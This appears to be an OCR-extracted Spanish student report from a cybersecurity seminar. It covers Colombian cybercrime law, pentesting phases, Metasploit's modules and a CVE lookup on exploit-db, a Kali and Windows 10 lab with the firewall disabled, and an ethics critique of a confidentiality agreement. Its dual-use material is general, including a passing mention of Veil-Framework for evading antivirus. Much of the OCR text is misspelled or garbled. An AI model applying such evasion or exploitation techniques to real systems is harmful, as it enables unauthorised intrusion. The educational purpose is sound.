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RESUMEN

HackerHouse se posiciona como una de las mejores compafiias a nivel mundial en
temas de ciberseguridad, un punto alto para medir a la compafiia en temas defensa
y respuesta, al aplicar las practicas adecuadas en los sistemas de tecnologia, Tly
de Cloud, en el eje cuando ocurran escenarios de ataques informaticos, entre ellos,

malware, spyware, Pishing, el ransoware, entre otros.

Se proporcionara en este informe, las actividades desarrolladas de los escenarios
propuestos por la empresa HackerHouse, que incursionan desde la investigacion
de temas legales y éticos, deberes y sanciones a aplicar en nuestro ejecucion de
labor en las funciones de especialistas en seguridad informatica y los procesos
debemos aplicar en base a organizaciones para la defensa y respuesta de ataques
cibernéticos por parte de los delincuentes que ejercen esta labor de hackers con

fines lucrativos.
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GLOSARIO

Etica: Es la conducta ejecutada por el ser humano en todas las relaciones

establecidas en la sociedad que define nuestro ser enfocado en el comportamiento.

Vulnerabilidad: La vulnerabilidad en informatica es referida a los fallos en la
arquitectura que sean presentados en dispositivos fisicos, por ejemplo, equipos de
computo, Smartphone, dispositivos de seguridad como firewall, router switch y a

nivel de software entre ellos los sistemas operativos, aplicaciones, entre otros.

Ley: Reglas constituidas dentro de un pais para establecer orden y justicia en la
sociedad

llegal: Acciones realizadas por el ser humano en contra de las leyes

constitucionales de un pais.

Malware: software malicioso disefiado por los delincuentes cibernéticos para
extraer informacion del cliente final desde el software que es instalado y obtener
beneficios econdémicos, adquiriendo métodos para extorsionar al cliente o duefio de

la informacién y en su vendiendo la informacion en sitios de mercado negro.

Antivirus: software disefiado para la proteccion de la informacion en los dispositivos
del usuario final; dentro de cada antivirus tiene categorias para la proteccion desde
los analisis de los dispositivos externos e internos de la computadora hasta el

espionaje, la grabacion de pulsaciones de teclado.

Cibercrimen: actividad ilegal o delito establecido por cualquier ser humano con el
objetivo de dafiar una infraestructura de red y la extraccion de informacion sin el

consentimiento del duefio del equipo o compaiiia.

Rasomware: programa o codigo maligno con el fin de paralizar el funcionamiento
de cualquier sistema y extraer de ella datos para exigir pago por la informacion

secuestrada.



Payload: En seguridad informatica referida a amenazas de tipo exploit, es la parte
del codigo del malware que realiza la accion maliciosa en el sistema, como borrar
los ficheros o enviar datos al exterior, frente a la parte del encargado de aprovechar

una vulnerabilidad (exploit) que permite ejecutar el payload?.

Antivirus: software disefiado para la proteccion de la informacién en los dispositivos
del usuario final; dentro de cada antivirus tiene categorias para la proteccién desde
los analisis de los dispositivos externos e internos de la computadora hasta el

espionaje, la grabacion de pulsaciones de teclado.

1 Acens. ¢Qué es Payload?. [Sitio web]. [Consulta: 08 septiembre 2023]. Disponible en:
https://ayuda.acens.com/hc/es/articles/360018220377--Qué-es-Payload-
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INTRODUCCION

En el seminario, se plantearon varios analisis en los dos matices de un profesional
en seguridad de la informacion, para ejecutar estrategias de defensa ante
perpetraciones en la red para los servicios activos y los métodos para prevenir la

delincuencia cibernética.

En la etapa 1 del seminario Especializado: Equipos Estratégicos en Ciberseguridad:
Red Team & Blue Team, investigando temas referentes los marcos regulatorios en
nuestro pais Colombia, la norma que debemos tener presente en nuestra labor
sobre la proteccion de datos personales de la poblacion colombiana; por otro lado,
consultar hasta qué punto y el cdmo se debe ejecutar Metasploit en el campo de la

seguridad informatica en la explotacion de las vulnerabilidades.

Para la etapa 2, los desarrollos de las actividades se trataron los criterios éticos y
legales que deben ser incluidos y que tanto el contratante y el firmante final, incluyan
dentro de las especificaciones de los documentos que sean necesarios firmas, las

obligaciones, deberes y prohibiciones para el cumplimiento de las actividades.

En la tercera actividad, se desarrollaron acciones que estaran orientadas en
encontrar esquemas sobre las vulnerabilidades que presentan los equipos host de
cualquier red, realizando pruebas de intrusion al interior y exterior dentro de
cualquier red, dependiendo de los factores que se presenten, entre ellos, los
sistemas de seguridad se encuentren activados en los equipos de seguridad que
generen el bloqueo de acceso y bloqueo en la infraestructura de una red empresarial

hasta el equipo host victima que navega por la World Wide Web.

Cuando ocurre en tiempo real los ataques cibernéticos, generalizando las

categorias (Malware, Phishing, DoS, Defacement, Ransomware) y la prioridad dado
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al ciberataque presentado a la red, principalmente se debe implementar los pasos
prescritos en los planes de contingencia y basados por los especialistas y
organizaciones que nos auxilien para las respuestas de deteccidon y defensa dentro
de la organizacion. Antes de ocurrir el atague se recomienda realizar auditorias de
seguridad para evaluar tanto los equipos de red, host finales, politicas,

documentacion, entre otros items instalados en una red.

11



1 OBJETIVOS

OBJETIVO GENERAL

Formular estrategias de contencion mediante el andlisis de riesgos y
vulnerabilidades en una infraestructura
TI.

OBJETIVOS ESPECIFICOS

e Investigar las etapas del pentesting en el campo de la ciberseguridad.

e Especificar las leyes que el profesional de ingenierias debe conocer en sus
obligaciones y prohibiciones de las actividades laborales y con la sociedad.

e Implementar medidas de seguridad para la proteccion de dispositivos
tecnoldgicos en el uso de las tecnologias de la informacién en todas las areas
de navegacion e investigacion, incluyendo los puertos abiertos distribuidos
en los servicios prestados en la red.

e Explorar herramientas para la deteccién de ataques en la red

12



2 DESARROLLO DEL TRABAJO

2.1 LEYES CIBERSEGURIDAD EN COLOMBIA
2.1.1 Ley 1273 de 2009 (enero 5 de 2009)

CAPITULO PRIMERO
De los atentados contra la confidencialidad, la integridad y la

disponibilidad de los datos y de los sistemas informaticos

Articulo 269A. Acceso abusivo a un sistema informatico. Pena de prision de 48
a 96 meses y multa de 100 a 1000 salarios minimos legales mensuales vigentes a
quien acceda a un sistema informatico sin autorizacion.

Articulo 269B. Obstaculizacion ilegitima de sistema informatico o red de
telecomunicacion. Pena de prisién de cuarenta y ocho (48) a noventa y seis (96)
meses y en multa de 100 a 1000 salarios minimos legales mensuales vigentes para

quien impida y/o obstaculice el funcionamiento a un sistema informéatico.

Articulo 269C. INTERCEPTACION DE DATOS INFORMATICOS. Pena de
prision de treinta y seis (36) a setenta y dos (72) meses para quien intercepte datos

informaticos en su origen, destino o en el interior de un sistema informatico.

Articulo 269D. DANO INFORMATICO. Pena de prision de cuarenta y ocho (48) a
noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos legales

mensuales vigentes para quien destruya o altere datos informaticos.

Articulo 269E. USO DE SOFTWARE MALICIOSO. Pena de prision de cuarenta y
ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios minimos
legales mensuales vigentes para quien produzca, trafique, adquiera, distribuya,

venda, envie, programas de computacion de efectos dafiinos.

13



Articulo 269F. VIOLACION DE DATOS PERSONALES. Pena de prision de
cuarenta y ocho (48) a noventa y seis (96) meses y en multa de 100 a 1000 salarios
minimos legales mensuales vigentes, para quien sustraiga, ofrezca, venda,
intercambie, envie, compre, intercepte, divulgue, modifique p emplee cdodigos
personales, datos personales contenidos en ficheros, archivos, bases de datos o

medios semejantes.

Articulo 269G. SUPLANTACION DE SITIOS WEB PARA CAPTURAR DATOS
PERSONALES. Pena de prision de cuarenta y ocho (48) a noventa y seis (96)
meses y en multa de 100 a 1000 salarios minimos legales mensuales vigentes,
quien disefie, desarrolle, trafique, venda, ejecute, programe 0 envie paginas
electronicas, enlaces o ventanas emergentes y el que modifique el sistema de

resoluciéon de nombres de dominio.

Articulo 269H. CIRCUNSTANCIAS DE AGRAVACION PUNITIVA: aumenta las
penas a mas de la mitad a las tres cuartas partes si revela o dando a conocer el
contenido de la informacion en perjuicio de otro, Obteniendo provecho para si o para
un tercero, Con fines terroristas 0 generando riesgo para la seguridad o defensa

nacional, Utilizando como instrumento a un tercero de buena fe.

CAPITULO SEGUNDO

De los atentados informéticos y otras infracciones

Articulo 2691. HURTO POR MEDIOS INFORMATICOS Y SEMEJANTES. realice
la conducta sefialada en el articulo 239 manipulando un sistema informatico, una
red de sistema electronico, teleméatico u otro medio semejante, o suplantando a un
usuario ante los sistemas de autenticacion y de autorizacion establecidos, incurrira

en las penas sefialadas en el articulo 240 de este Cadigo.

14



Articulo 269J: TRANSFERENCIA NO CONSENTIDA DE ACTIVOS. Pena de
prision de cuarenta y ocho (48) a ciento veinte (120) meses y en multa de 200 a
1500 salarios minimos legales mensuales vigentes para quien con animo de lucro y
valiéndose de alguna manipulacion informética o artificio semejante, consiga la

transferencia no consentida de cualquier activo en perjuicio de un tercero.

2.1.2 Ley 1581 de 2012

Reconoce y protege el derecho que tienen todas las personas a conocer, actualizar
y rectificar las informaciones que se hayan recogido sobre ellas en bases de datos
o archivos que sean susceptibles de tratamiento por entidades de naturaleza publica

o privada.

Multas: hasta por el equivalente de dos mil (2.000) salarios minimos mensuales

legales vigentes al momento de la imposicién de la sancion.

15



2.2 ETAPAS DEL PENTESTING

2.2.1 Recopilacion y planificacion

En el primer paso, para que el auditor recopile la informacion que deba generar para
detectar las vulnerabilidades, debe establecer una estrategia para determinar la

metodologia para aplicar al pentesting y recolectar los datos en la prueba.

Dentro de la primera etapa, se encuentra el proceso de footprinting, el cual es la
técnica para descubrir y recopilar la mayor informacién a una red de destino. Entre

la extraccion de la informacion que se recopila esta:

¢ Rangos de direcciones IP

e Informacion del registrador del dominio

e Servidores internos

e Cuentas de correo de los usuarios

e Nombres de las maquinas

e Tipo de firewall implementado

e Tipos de acceso remoto utilizados (SSH o VPN)?
e Archivos (doc, xls, ppt, pdf, txt, etc)

e Metadatos, etc

Tipos de Footprinting
Hay dos tipos de Footprinting que podemos utilizar: Footprinting activo y pasivo:

Footprinting activo, es el proceso mas tedioso para obtener informacién, donde

usaremos herramientas y técnicas para ello. Por ejemplo, podemos realizar un

2 Red-Orbita. Pentesting — Pruebas bésicas de reconocimiento web (fingerprinting/footprinting) [20
febrero 2017]., [Sitio web]. [Consulta: 08 agosto 2023]. Disponible en: https://red-orbita.com/?p=7815

16
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barrido de ping para recoger informacion sobre el objetivo o usar el comando
traceroute.

Footprinting pasivo, en este proceso mas “light”, por ejemplo, se revisa el sitio web
de una empresa, se visitan los perfiles de los empleados en redes sociales,

buscamos en Google del objetivo a hackear o buscamos el sitio web en WHOIS?,

2.2.2 Anadlisis de vulnerabilidades

En la segunda fase el auditor tras luego de elegir la metodologia adecuada segun
la infraestructura de red de la empresa procede con aplicar la metodologia
propuesta en la primera fase para buscar si la red tiene puntos débiles en todos los

servicios.

2.2.3 Modelado de amenazas

En la tercera fase se avanza con la explotacién de las vulnerabilidades detectadas
en la fase anterior con la aplicacién de la metodologia seleccionada para anotar
cuales son las amenazas que esta expuesto el sistema y generar las respuestas
inmediatas que se deberian ejecutar cuando se presente la explotacion de las

vulnerabilidades por parte de una persona malintencionada.
2.2.4 Explotacion del sistema
En la explotacibn se simula los ataques al sistema con las vulnerabilidades

encontradas en la fase 3 y probar la eficiencia de los mecanismos de defensa

instalados en los dispositivos de red y equipos finales (empleados o clientes).

3 EIP INTERNATIONAL BUSINESS SCHOOL. ¢Qué es Footprinting? [19 mayo 2021]., [Sitio web].
[Consulta: 08 agosto 2023]. Disponible en: https://eiposgrados.com/blog-ciberseguridad/que-es-
footprinting/#:~:text=Llamamos%20Footprinting%20(también%20conocido%20como,formas%20de
%20acceder%20a%20¢él

17
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2.2.5 Elaboracién de los informes

Con la ejecucion de las cuatro fases anteriores, se elabora el informe con los
resultados obtenidos de las explotaciones de vulnerabilidades encontradas a Is
sistemas de seguridad que se han desarrollado desde el area de TI. Asi mismo, en
el informe técnico o bien se puede generar un segundo informe para presentar a los

directivos o gerentes administrativos de la empresa.
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2.3 METASPLOIT Y CVE
2.3.1 Metasploit

El marco consta de varias herramientas de explotacion y herramientas de prueba
de penetracion. Los equipos de seguridad de la informacion suelen utilizar
Metasploit para pruebas de penetracidon (o0 «pirateria ética») para identificar y
remediar cualquier vulnerabilidad existente en las redes de una organizacion. Los
ciberdelincuentes pueden usar maliciosamente estas mismas capacidades de

Metasploit para identificar y explotar vulnerabilidades en un sistema objetivo.

Arguitectura de Metasploit
» Herramientas (Tools):

Son scripts que ayudan a la elaboracion de modulos de Metasploit.

* Plugins:
Son programas externos que usan recursos de Metasploit, nos podemos conectar
con OpenVAS, SQLmap, Nmap, etc. tanto los plugins como las interfaces se

conectan a MSF base.

* Interfaces:
Es desde donde se puede usar Metasploit, cabe aclarar que la web es solo para la

version pro de msf

Librerias:
» MSF BASE:
Es donde esta la configuracién y los recursos de Metasploit.

Usa recursos de MSF Core.

4 Ciberseguridad. ¢QUE ES METASPLOIT FRAMEWORK Y COMO FUNCIONA? [Sitio web].
[Consulta: 08 agosto 2023]. Disponible en: https://ciberseguridad.com/herramientas/pruebas-
penetracion/metasploit-framework/#¢ Como_funciona
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= MSF Core:
Nos proporciona una APl basica con rutinas para desarrollar programas y

herramientas

= REX:
es una libreria que mezcla funciona para manejo de Sockets, componentes
adicionales del sistema, protocolos, etc.

esta libreria se usa para la mayoria de las tareas.

Médulos:
= Exploits:
son fragmentos de software que tienen el fin de aprovechar una vulnerabilidad en

un sistema.

» Payloads:
también conocidos como “carga util”, es la parte del malware que realiza una accion

maliciosa.

Una analogia comun para explicar que es un exploit y un payload, es la siguiente:

va un camion (en este caso tu exploit) que adentro lleva unos trabajadores (tu
payload) y ocupas entrar en un almacén (lo que quieres vulnerar) este almacén tiene
varias puertas (vulnerabilidades), pero tu camién no cabe por todas, por lo que te
decides por una y cuando ya estas adentro, tus trabajadores hacen el trabajo que

les encomendaste.
= Nops:

Son utilizados por los payloads para que se puedan ejecutar de manera satisfactoria

en la memoria, estos evitan que el procesador interrumpa la carga de este.
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» Codificadores (Ecoders):
Estos les sirven a los antivirus, debido a que cuando pasamos nuestros payloads
por los codificadores para que puedan ser utilizados reciben una firma, los antivirus
han desarrollado la capacidad de detectar esta firma, esto les deja de tener varios

ataques, para evitar esto se cre6 Veil-Framework.

Aux:

Los auxiliares no son comunmente utilizados para explotar, estan orientados a
navegadores web, la mayoria de ellos son utilizados para Information gathering,
como hacking con buscadores®.

2.3.2 ¢Qué es un CVE y su estructura?

CVE Common Vulnerabilities and Exposures, en espafiol “vulnerabilidades y
exposiciones comunes”, es un sistema de catalogacién publica que identifica y
enumera las vulnerabilidades de seguridad conocidas en productos software y
hardware que estd desarrollado y mantenido por el MITRE con el respaldo de la

comunidad de ciberseguridad.

El sistema CVE asigna un numero de identificacion Unico a cada vulnerabilidad
conocida, junto con una descripcion de la vulnerabilidad y detalles de los productos
afectados. Esto permite a los profesionales de la seguridad rastrear y gestionar
eficientemente las vulnerabilidades en sus sistemas, y asegurarse de que se
apliquen los parches y las actualizaciones necesarias. El uso del sistema CVE
ayuda a las organizaciones a identificar las amenazas y a priorizar las
actualizaciones y parches de seguridad para mantener la integridad de sus

sistemass®.

5 Platzi. Arquitectura de metasploit [Sitio web]. [Consulta: 10 agosto 2023]. Disponible
en:https://platzi.com/tutoriales/1176-pentesting-2019/2224-arquitectura-de-metasploit/

6 Tarlogic. ¢(Qué es CVE,. [Sitio web]. [Consulta: 10 agosto 2023]. Disponible en:
https://www.tarlogic.com/es/glosario-cibersequridad/cve/
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Base de datos

Existe un sitio web, donde se encuentra las vulnerabilidades que han sido
explotadas por los hackers, durante la transferencia de voz, datos y servicios a nivel
mundial por cada empresa. Uno de los sitios web de apoyo para buscar las
vulnerabilidades de los protocolos y servicios es https://www.exploit-db.com.

llustracion 1 Base de dat os de vulnerabilidades

o &

Autor: Viviana Catherin Castellanos Cardenas

Ingresamos a una de las vulnerabilidades que el autor haya referenciado,

encontraremos la siguiente informacion que se puede observar en la ilustracion 2.
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llustracion 2 Ejemplo de CVE

Maltrail v0.53 - Unauthenticated Remote Code Execution (RCE)

EDB-ID: CVE: Author: Type: Platform: Date:

EDB Verified: Exploit: & / {} Vulnerable App:

G @

Autor: Viviana Catherin Castellanos Cardenas

En la informacioén relevante anexada de la vulnerabilidad encontrada, esta el nUmero

de identificacion CVE, Autor, tipo, plataforma y la informacién del exploit.
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2.4 BANCO DE TRABAJO

Para iniciar, al tener instalado el software de virtualbox en el equipo host local,

instalaremos tanto Kali Linux y Windows 10.

La configuracién a continuacion creada sera para la VM Kali Linux.

llustracion 3 Configuracion VM Kali Linux

W00 &

M Carpetans compartstan

O tearporin

Autor: Viviana Catherin Castellanos Cardenas

Realizamos el mismo proceso para la instalacion de la VM de Windows 10,

descargado desde la pagina de Microsoft https://www.microsoft.com/es-

es/softwaredownload/ windows10.
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llustracion 4 Configuracién VM Windows 10

W Carpetars compuarthtag

O tescripckin

r e

Autor: Viviana Catherin Castellanos Cardenas

Iniciamos las dos maquinas y en cada VM, configuraremos manualmente el
segmento de IP creado para la red interna llamada RED INTERNA 61. En la
ilustracion 5 e ilustracién 6 se observan los direccionamientos asignados para cada

maquina.
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llustracion 5 Configuracién de red equipo Windows 10

Niedows\system3l\ e exe

ervitador o punto de sccess

—
-

Dusagnosticer y zegany problemas de red u obtener ilormacicn de sokacion de problemas.

® | O busca B @ W oM o= W ASDEW o B

- — A eSS hmanei

Autor: Viviana Catherin Castellanos Cardenas
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llustracion 6 Configuracién de red en Kali Linux

kali@kali: ~

File Actions Edit View Help

~

eth@: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.0.2.15 netmask 255.255.255.0 broadcast 10.0.2.255
inet6 fe80::8840:6363:926f:623b prefixlen 64 scopeid 0x20<link>
2 ether 08:00:27:53:0c:ba txqueuelen 1000 (Ethernet)
File System RX packets 1 bytes 590 (590.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 23 bytes 3096 (3.0 KiB)
TX errors @ dropped @ overruns @ carrier @ collisions @

ethl: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500

inet 10.10.61.5 netmask 255.255.255.@0 broadcast 10.10.61.255
inet6 fe80::2d32:abc8:d783:2010 prefixlen 64 scopeid 0x20<link>
ether 08:00:27:20:1b:96 txqueuelen 1000 (Ethernet)

RX packets 30 bytes 1856 (1.8 KiB)

RX errors @ dropped @ overruns @ frame @

TX packets 90 bytes 9088 (8.8 KiB)

TX errors @ dropped @ overruns @ carrier @ collisions @

lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 12 bytes 968 (968.0 B)
RX errors @ dropped @ overruns @ frame @
TX packets 12 bytes 968 (968.0 B)

Autor: Viviana Catherin Castellanos Cardenas

Validamos pruebas de comunicacién entre las dos maquinas, por ejemplo, en la

ilustracion 7 se hace prueba desde el equipo Windows 10.
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llustracion 7 Prueba de conectividad entre Windows 10 y Kali Linux

B C\Windows\systemdliomd.ese - ping 1010613 -2

& O suxa i €@ - o mauom @ ~copw o0 ®

Autor: Viviana Catherin Castellanos Cardenas

Desactivamos en la VM Windows 10 el firewall, para que desde la VM Kali Linux

tenga comunicacion.
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llustraciéon 8 Desactivacion del firewall

@ Firewall de Windows Delender
¢ . ‘ w Setema y seguridad + Firewall e Windows Defencier v ¢ Buszat on ol Penel Se

Ay s or @ . s Defende
Vertina priocipel e Pend de Ayudar a proteger el equipo con Firewall de Windows Defender

coolnf Frewall de Windows Defender pueda ayudar » mmpesSc que st infeemiticoy © softaere

malintencionade obtengan scceso al equeo a traves de Intemet o una red.
Permite que une splicancn o

una caractenstica a traves de
Firewall cde Windows Deferder Actuslizar configuraciin de feswall

@ Camisier la configuracion de Frewall de Windows Defander no ents
I
notificaciones wando la configuracion recomendada para G user o configuracion secomendada

® Activer o desactivar of Firewall pocteger o po
de Windews Defander Cudl &5 U configuraces rezomendada

® Restaurar vedcres

predetemynados
v 2o rta -
© Conbigurciin svarzada l g Redes privadas No conectado

Solucién de problacna de red . 0 Redes pdblicas o invitadas Conectado

Reclet en lugare pubiices coms asropuenton © caleterias

Estado de Firewail de Windows Detenden Dezactivado

Conexiones entrantes Bloguesr todes les conexiones » aphcacones
que ng estén en la bsta de splicaciones
permitidas

Redes publicas actvas " Red ne wdentificada

Red
Segurided y muntanimente
Estado de notificacion: Notificarme cuando Firewall de Windows

Centro de redes y recursos
d Defender bloques una nusve splicacién

compartsices

& O susa §_ @ w s = vy ~swma 2N W,

Autor: Viviana Catherin Castellanos Cardenas

Finalmente, realizamos la prueba de comunicacion desde la VM Kali Linux al equipo
de Windows 10.
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llustracion 9 Prueba de conectividad entre desde Kali Linux a Windows 10
O 4 A 22:40

Usage: 4%

kali@kali: ~

File Actions Edit View Help

¢ 10.10.61.6
PING 10.10.61.6 (10.10.61.6) 56(84) bytes of data.
64 bytes from .10.61.6: icmp_seq=1 ttl=64
bytes from .10.61.6: icmp_seq=2 ttl=64
bytes from .10.61.6: icmp_seq=3 ttl=64
File System bytes from .10.61.6: icmp_seq=4 ttl=64
bytes from .10.61.6: icmp_seq=5 ttl=64
bytes from .10.61.6: icmp_seq=6 ttl=64

— 10.10.61.6 ping statistics —
6 packets transmitted, 6 received, 0% packet loss, time 5095ms
rtt min/avg/max/mdev = 0.026/0.108/0.497/0.173 ms

)=~

Autor: Viviana Catherin Castellanos Cardenas
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2.5 ACUERDO DE CONFIDENCIALIDAD

Los contratos y los acuerdos de confidencialidad son desarrollados por abogados
especialistas con el conocimiento de las leyes enfocadas en los distintos sectores,

como del trabajo, pena, familiar, civil, fiscal, entre otras.

En el tema del &rea laboral, la empresa al contratar personal se debe esclarecer en
las obligaciones y funciones que el contratante y contratista/empleado deben tener
mutuamente. En el caso del anexo 3, en el acuerdo de confidencialidad realizado
por el abogado de la compafia HackerHouse, se encuentra escritos en algunas
clausulas que no son necesarias y que podrian afectar a la compafia y empleado,

por ejemplo:

Cuarta. Obligaciones de la parte receptora:

3. No denunciar ante las autoridades actividades sospechosas de espionaje o
cualquier otro proceso en el cual intervenga la apropiacién de informacién de

terceros.

5. Responder ante las autoridades competentes como responsable en caso de que

la informacién se encuentre en su poder dentro de un proceso de allanamiento.

Explicacion: Internamente en cada empresa organizada, las areas encargadas
deben proponer estrategias que no incumplan las dos partes que firmaran el
contrato, por lo que es incluyente que las empresas establezcan reglamentos para
el trabajador, planes de solucién de parte del area de recursos humanos para los
incidentes que son presentados constantemente en las relaciones entre empleados

y empleado — empleador.

En el punto 3, de la clausula de obligaciones de la parte receptora incluye no
denunciar actividades ilegales que sea vista por el empleado, un punto que no va

acorde, porque no se indica los procedimientos a seguir cuando suceda los casos
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que rompan el acuerdo de confidencialidad entre estudiante- HackerHouse,
cayendo la culpabilidad recaera sobre el integrante de la compafiia que vista del
mal procedimiento que no tiene establecido HackerHouse, cayendo sobre toda la
responsabilidad en el empleado, reflejando que es necesario una restructuracion

organizacional en cada area que compone HackerHouse.
Por

Octava. Solucion _de controversias: Las partes (nombre estudiante — nombre

empresa) se comprometen a esforzarse en resolver mediante los mecanismos
alternativos de solucion de conflictos cualquier diferencia que surja con motivo de la
ejecucion del presente acuerdo. En caso que la informacién ilegal o confidencial sea
encontrada en manos del receptor este debera acudir a un abogado privado y dejar

exenta de cualquier responsabilidad legal y penal a HackerHouse.

Explicacion: En la clausula octava, dejar al receptor, en este caso al estudiante
solo, es el significado de que los duefios de la compafiia no tienen valores éticos
hacia los demas, por ende, la compafia no tendra crecimiento laboral. es de
conocimiento, que cuando el empleado incurre en faltas graves, se dan las opciones

de carta de despido laboral justificado.
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2.6 PROCESOS ILEGAL EN ACUERDO DE CONFIDENCIALIDAD -

La pregunta no es clara indicando cual de las dos partes que firman el contrato y los
acuerdos de confidencialidad, se debe puntualizar sobre a quién debemos
contextualizar quien estara ejecutando los procesos ilegalmente, si de parte del
abogado, la empresa o el firmante, que viene siendo el estudiante.

En el anexo referente al acuerdo de confidencialidad, se encontraron en las
clausulas, puntos que no se debe estipular para que las dos partes sea firmados.
Ahora, teniendo en cuenta los procesos ilegales que no estd determinado para

ejecutar el profesional de ingenieria circunscriben.

Por parte del abogado:
Articulo 467 del Cédigo Penal

El abogado o procurador que, por accion u omision, perjudique de forma manifiesta
los intereses que le fueren encomendados ser& castigado con las penas de multa
de doce a veinticuatro meses e inhabilitacion especial para empleo, cargo publico,

profesion u oficio de uno a cuatro afios’.

Por parte del firmante (el estudiante), aceptando las clausulas del acuerdo de
confidencialidad y siendo cédmplice de lo que acontece internamente en la empresa,

esta influyendo en cometer los siguientes delitos:

En la ley 1273 de 2009 tenemos los siguientes articulos que estaria incurriendo:

7 Conceptos juridicos. Delito de deslealtad profesional. [Sitio web]. [Consulta: 18 agosto 2023].
Disponible en: https://www.conceptosjuridicos.com/delito-de-deslealtad-
profesional/#:~:text=Articulo%20466%20del%20C6digo%20Penal&text=El%20abogad0%200%20p
rocurador%20que%2C%20por%20accién%20u%200misién%2C%20perjudique,de%20uno0%20a%
20cuatro%20anos.

33


https://www.conceptosjuridicos.com/delito-de-deslealtad-profesional/#:~:text=Artículo%20466%20del%20Código%20Penal&text=El%20abogado%20o%20procurador%20que%2C%20por%20acción%20u%20omisión%2C%20perjudique,de%20uno%20a%20cuatro%20años
https://www.conceptosjuridicos.com/delito-de-deslealtad-profesional/#:~:text=Artículo%20466%20del%20Código%20Penal&text=El%20abogado%20o%20procurador%20que%2C%20por%20acción%20u%20omisión%2C%20perjudique,de%20uno%20a%20cuatro%20años
https://www.conceptosjuridicos.com/delito-de-deslealtad-profesional/#:~:text=Artículo%20466%20del%20Código%20Penal&text=El%20abogado%20o%20procurador%20que%2C%20por%20acción%20u%20omisión%2C%20perjudique,de%20uno%20a%20cuatro%20años
https://www.conceptosjuridicos.com/delito-de-deslealtad-profesional/#:~:text=Artículo%20466%20del%20Código%20Penal&text=El%20abogado%20o%20procurador%20que%2C%20por%20acción%20u%20omisión%2C%20perjudique,de%20uno%20a%20cuatro%20años

Articulo 269A. ACCESO ABUSIVO A UN SISTEMA INFORMATICO. El que, sin
autorizacion o por fuera de lo acordado, acceda en todo o en parte a un sistema

informatico protegido o no con una medida de seguridad®.

Articulo 269F. VIOLACION DE DATOS PERSONALES. El que, sin estar facultado
para ello, con provecho propio o de un tercero, obtenga, compile, sustraiga, ofrezca,
venda, intercambie, envie, compre, intercepte, divulgue, modifique o emplee
codigos personales, datos personales contenidos en ficheros, archivos, bases de

datos o medios semejantes®.

Articulo 269J: TRANSFERENCIA NO CONSENTIDA DE ACTIVOS. El que, con
animo de lucro y valiéndose de alguna manipulacién informética o artificio
semejante, consiga la transferencia no consentida de cualquier activo en perjuicio

de un tercero?®.

8 Superintendencia industria y comercio. Ley 1273 de 2009 delitos informaticos DO 47223. [Sitio
web]. [Consulta: 05 agosto 2023]. Disponible en:
https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley 1273 2009.pdf

° Ibid.,

10 Superintendencia industria y comercio. Ley 1273 de 2009 delitos informaticos DO 47223. [Sitio
web]. [Consulta: 05 agosto 2023]. Disponible en:
https://www.sic.gov.co/recursos_user/documentos/normatividad/Ley 1273 2009.pdf
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2.7 CASO CONTRATO

El sueldo para los puestos de Red tema y Blue team estan entre los $17.000.000 y
los 22.000.000 respectivamente. ¢ Si usted llegara a encontrar procesos ilegales en
el acuerdo de confidencialidad usted aceptaria contrato y acuerdo de
confidencialidad de la organizacion HackerHouse, aun conociendo lo que podria
disponer COPNIA en su codigo de ética y sanciones en Colombia para profesionales
de ingenieria? Para justificar esta respuesta se recomienda que consulte
directamente en la pagina oficial de COPNIA para generar una respuesta coherente:
https://www.copnia.gov.co/tribunal-de-etica/codigo-de-etica

Solucion

Es un cargo llamativo, tomar puestos de trabajo con salarios altos como los
nombrados en el caso, pero mas alla de la ética profesional establecido por las leyes
colombianas y las entidades que constituyen los cédigos morales, profesionales
para el ejercicio de la profesionales como servidores publicos , entidades privadas,
contra colegas, sociedad, clientes y publico en general, la ética de la educacion
recibida y brindada desde el hogar, es la de mayor valor, lo cual significa que una
persona que es ambiciosa podria llegar aceptar sin leer y/o siendo razonable el

contrato y el acuerdo de confidencialidad propuesto por HackerHouse.

En el capito Il, de la ley 842 de 2003, articulo 31, el cual trata de la reglamentacion
del ejercicio de la ingenieria, de sus profesiones afines y de sus profesiones

auxiliares, el profesional esta en su obligacion de:

b) Custodiar y cuidar los bienes, valores, documentacion e informacion que, por
razon del ejercicio de su profesion, se le hayan encomendado o a los cuales tenga
acceso; impidiendo o evitando su sustraccion, destruccidén, ocultamiento o

utilizacién indebidos, de conformidad con los fines a que hayan sido destinados;
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f) Denunciar los delitos, contravenciones y faltas contra este Codigo de Etica, de
que tuviere conocimiento con ocasion del ejercicio de su profesion, aportando toda

la informacién y pruebas que tuviere en su poder;

Argumentando lo anterior escrito, en base de la ley 842 de 2003, en mi proceso de
ejecucion como profesional de una de las ramas de ingenieria no estaria en la
obligacion de aceptar las condiciones del contrato y el acuerdo de confidencialidad
propuesto por la empresa HackerHouse, ante las siguientes sanciones dispuestas
por el Codigo de Etica que implicaria:

a) Amonestacién Escrita, en el caso de las faltas leves.

b) Suspension de la Matricula Profesional por un término méaximo de cinco afios,
dependiendo de la gravedad de la falta y de si el profesional tiene o no antecedentes

disciplinarios.

c) La cancelacion de la Matricula Profesional, en el caso de las faltas gravisimas.
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2.8 CASO KERALTY SANITAS

Los ciberatagues han sucedido han sucedido tanto a nivel mundial y nacional en
empresas publicas y empresas privadas, provenientes de los delincuentes
cibernéticos, eventos que han causado secuestro y venta de informacion en el

mercado negro.

Hemos tenido conocimiento de ataques informaticos a entidades del gobierno, como
la policia, fiscalia general, ministerios, entidades de salud, universidades, entre
otras empresas. En los Ultimos casos presentados en el pais, hemos tenido el
conocimiento del caso sucedido en el mes de noviembre de 2022 de la entidad de
salud Keralty, por el grupo de hackers Ransomhouse.

La informacién recolectada por los hackers fue publicada en sitios web que no se
encuentran en los motores de busqueda convencionales, esto se dio a que la
entidad de salud no acepto las pretensiones econdmicas solicitadas por los

delincuentes cibernéticos para la recuperacion de la informacion.

Ante las actividades avanzadas por este grupo de hackers, se reduce que las reglas
quebrantadas por ellos en esta actividad, fueron varios delitos ilegales, porque no
se traté de una labor aprobada por la entidad de salud, sino en busca del beneficio

